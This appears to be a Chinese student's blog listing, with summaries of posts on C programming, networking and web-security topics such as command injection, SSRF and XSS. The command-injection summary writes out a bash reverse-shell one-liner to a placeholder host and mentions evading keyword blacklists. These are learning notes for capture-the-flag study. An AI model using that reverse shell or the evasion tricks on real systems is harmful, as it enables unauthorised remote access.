- 博客(28)
- 收藏
- 关注
原创 自定义类型:联合和枚举
本文介绍了C语言中的联合体和枚举类型。联合体(共用体)的特点是所有成员共用同一块内存空间,大小至少为最大成员的大小,并需考虑内存对齐。联合体可节省内存,如用于礼物清单设计,还可用于判断机器字节序。枚举类型通过列举可能取值增强代码可读性,相比#define更严谨且便于调试,如计算器程序中用枚举替代数字选项。枚举常量具有作用域规则,在函数内声明则仅限于该函数使用。
2025-08-25 18:49:07
333
原创 自定义类型:结构体
本文介绍了C语言中结构体的相关概念和使用方法。主要内容包括:结构体的特殊声明(匿名结构体)、自引用、内存对齐规则及优化策略;结构体传参时建议使用指针以提高效率;位段(bit-field)的定义、内存分配特点、跨平台问题及其应用场景。特别强调了位段虽能节省空间但存在可移植性问题,并指出位段成员不能直接取地址的限制。
2025-08-24 19:25:31
665
1
原创 数据在内存中的存储
但是C语言中还有16bit的short型等,另外对于位数大于8位的处理器,例如16位或者32位的处理器,由于寄存器宽度大于一个字节,那么必然存在着一个如何将多个字节安排的问题。超过一个字节的数据在内存中存储的时候就有存储顺序的问题,按照不同的存储顺序,我们分为大端字节序存储和小端字节序存储。设计虽精妙,但有时候浮点数有可能是无法精确保存的,如十进制数字1.2转换为二进制,小数点后有很多位,在VS调试后可能会有些许误差。例:2^10的E是10,保存为32位浮点数为10+127=137,即10001001。
2025-08-23 19:34:28
990
原创 C语言——内存函数
本文介绍了C语言中常用的内存操作函数及其模拟实现。memcpy用于内存块拷贝;memmove则可处理重叠内存的拷贝,通过分区域判断拷贝方向。memset用于设置内存内容,memcmp用于比较内存块内容。文章通过代码示例和内存图示详细讲解了memcpy和memmove的模拟实现过程,包括指针类型转换、拷贝方向判断等关键技术点,并提供了各函数的官方文档链接和使用注意事项。这些函数都需包含<string.h>头文件。
2025-08-22 16:46:08
824
原创 C语言——字符函数与字符串函数
本文介绍了C语言中常用的字符和字符串处理函数,包括:1) 字符分类函数(如islower/isupper)及其应用;2) 字符转换函数(tolower/toupper);3) strlen函数功能、注意事项及递归实现;4) strcpy字符串拷贝函数的使用要点和模拟实现;5) strcat字符串拼接函数的实现原理;6) strcmp字符串比较函数的基本用法。文章通过代码示例详细说明了这些核心字符串函数的应用场景和注意事项,并提供了部分函数的模拟实现方法,帮助深入理解其底层原理。
2025-08-21 18:30:29
754
原创 C语言——深入理解指针(四)
在下图中,括号内s=a+2,其中a和2都是int类型,算出来s=12,但sizeof并不会去计算,而是看s本身是什么类型,short类型占两个字节,所以打印出来的仍是2而不是4;而打印s的值时,也不会因为在sizeof里面的算式而改变。其统计的是从strlen函数的参数str中这个地址开始向后,\0之前字符串中字符的个数。是操作符,用于计算变量所占内存大小(不关注内存中存放什么数据),单位是字节。(1)操作符sizeof。
2025-08-15 22:47:02
432
原创 C语言——深入理解指针(三)
首先我们来回顾一下函数的而就是通过函数指针调用的函数。我们将函数的指针(地址)作为参数传递给另一个函数,当这个指针被用来调用其所指向的函数时,被调用的函数就是回调函数。
2025-08-13 23:47:59
1070
原创 C语言——操作符
16进制的数字每⼀位是0~9,a~f的,0~9,a~f的数字,各⾃写成2进制,最多有4个2进制位就足够了, 比如f的二进制是1111,所以在2进制转16进制数的时候,从2进制序列中右边低位开始向左每4个2进 制位会换算⼀个16进制位,剩余不够4个二进制位的直接换算。8进制的数字每⼀位是0~7的,0~7的数字,各⾃写成2进制,最多有3个2进制位就⾜够了,⽐如7的二进制是111,所以在2进制转8进制数的时候,从2进制序列中右边低位开始向左每3个2进制位会换算一个8进制位,剩余不够3个2进制位的直接换算。
2025-05-07 20:13:58
948
原创 函数递归+函数栈帧(简)
函数不返回,函数对应的栈帧空间就一直被占用,所以如果函数调用中存在递归调用的话,每一次递归函数调用都会开辟自己的栈帧空间,直到函数递归不再继续,开始回归,才逐渐释放栈帧空间。因而如果采用递归的方式完成代码,递归层次太深,就会浪费很多的栈帧空间,也可能引起。每一次函数调用,都会在内存的栈区申请空间来保存函数调用期间的各种局部变量的值,这块空间被称为运行时堆栈,或者叫。(在不同的编译器下,函数调用过程中栈帧的创建是略有差异的,具体细节取决于编译器的实现)
2025-05-04 16:29:39
425
原创 c语言程序设计1~2
(1)任何程序都可用三种基本结构来表示。(2)每种基本结构都只有一个入口和一个出口。(3)程序中没有死循环和死语句。原则:(1)自顶向下,逐步求精(2)模块化设计(3)程序结构化基本步骤:分析问题,设计算法,编写程序。(1)基本特征:有穷性,确定性,有效性,有零个或多个输入,有一个或多个输出。(2)流程图运行结果:MyfirstCprogram!注意!!!(1)一个c语言程序,有且仅有一个main函数,且永远从main函数进入和出去。(2)
2025-01-17 15:55:01
638
原创 命令注入漏洞
在bash中使用“bash -i>&/dev/tcp/x.x.x.x/port 0>&1”将bash的输入输出重定向到远程端口。若目标存在可写入的web文件,那么可以采用复制需要的文件到web目录下,然后通过HTTP进行访问的方法获取结果。windows cmd的转义字符为“^”,Linux bash的转义字符为“/”,例。b.字符黑名单:如果题目对cat,flag进行限制,可以采用变量拼接的方法;在bash中,可以使用&&,||,;在cmd中,可以使用&&,||,%0a。bash中,a.禁止使用空格。
2024-12-05 22:51:24
448
原创 SSRF入门+进阶
SSRF漏洞一般出现在由调用外部资源的场景中,比如社交服务的分享功能,图片识别服务,网站采集服务,远程资源请求,文件处理服务等。由于它支持子当以内容,所以可以用于端口探测,获取banner,发送一些简单的流量给其他服务,比如redis。:大多是因为服务端提供了从外部服务获取数据的功能,但没有对目标的地址,协议等重要参数进行过滤和限制,从而导致可以自由构造参数,从而发起预期外的请求。”作为起点标识,比如“?port表示服务器端口,不填的话,则使用协议的默认端口,比如http的80,ftp的21。
2024-12-05 22:49:17
344
原创 XSS进阶——跨站脚本攻击漏洞
绕过script-src ‘self’,self意味着只允许加载同域名目录下的脚本,所以我们可以寻找文件上传或者jsonp接口,如果是图片上传接口,即访问资源时的Content-Type为image/png,浏览器会拒绝将其作为脚本。常见的过滤方式是对用户输入的标签进行限制,若采用黑名单的方式,可以寻找黑名单中遗漏的标签。CSP用于检测并缓解某些特定类型的注入,包括XSS和数据注入,使用前需要配置HTTP头部配置Content-Security-Policy字段。指令:获取指令,文档指令,导航指令。
2024-12-05 22:45:21
451
原创 XSS入门——跨站脚本攻击漏洞
如果服务器未对url所携带的参数做过滤和判断,直接返回响应页面,xss攻击代码则会被一起传输到用户的浏览器,就触发反射型xss(例当用户被诱导点开某个注入xss漏洞的代码,信息就会被窃取)——除过常见的http,https这些协议外,有些a标签的href属性值为javascript:void(0)其中的“javascript:”就是js伪协议,由js引擎来执行,如。,客户端的js具有操作DOM的功能,可以提取用户的输入,然后直接插入到DOM中,这就造成了XSS。即鼠标移动的时候此代码就会执行。
2024-12-05 22:38:15
481
原创 HTML与CSS究竟是什么,有什么关系?
4.关系:两者之间,HTML负责构建网页的基本结构,而CSS则用于美化这些结构(通俗的讲,CSS是用来美化HTML的),一个典型的网页开发流程是:首先使用HTML定义页面的基本骨架,然后通过CSS添加样式和布局,最后通过JavaScript实现页面的交互功能。这种分工合作确保了网页既具有丰富的表现力,又具有良好的结构和可维护性。1.简说:HTML和CSS是网页开发中不可或缺的两种技术,它们分别负责网页的结构和表现。3.CSS:层叠样式表,用于设置网页的表现样式,包括布局、颜色、字体等。
2024-10-12 00:12:04
904
原创 计算机网络(概述)
网络层:域名通过DNS求取该域名对应的IP地址,一级一级发送请求到各个服务器,直至最终获取到该URL对应的IP地址,然后获取到的地址返回给最初的系统,所求IP地址与服务器建立联系,然后开始访问网站。物理层:复制在手机百度上搜索后,数据包传到路由器上,再到交换机,最后发送到服务器请求内容,这之间通过各个端口,进行传输。(2)传输层:其传输数据包等按照协议TCP协议,UDP协议进行传输。传输层:数据包的一层一层传输,自己IP与所求IP之间的联系。(1)应用层:涉及端口,进程,线程(略指某一功能)等概念。
2024-09-27 23:57:36
412
1
原创 我对加入SeeSea安全团队的期望
3.虽然目前我只是一个计算机小白,但我不气馁,我会更加的努力,投入到团队学习当中,积极学习计算机知识,积极向学姐学习如何打ctf比赛,如果我能够有资格去打比赛,我会竭尽全力投入其中,并且不会让外界因素来影响到我,影响发挥。2.我希望进入团队能学习到关于计算机网络等种种知识,了解ctf比赛并试着自己解题比赛,接触更对计算机大佬,请教并努力提升自我。1.我非常开心能加入此团队,因为我认为在这里我可以向学姐学习到各种专业知识以及其他方面的技能,这将是对我能力方面的一大考验。
2024-09-17 10:35:19
691
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人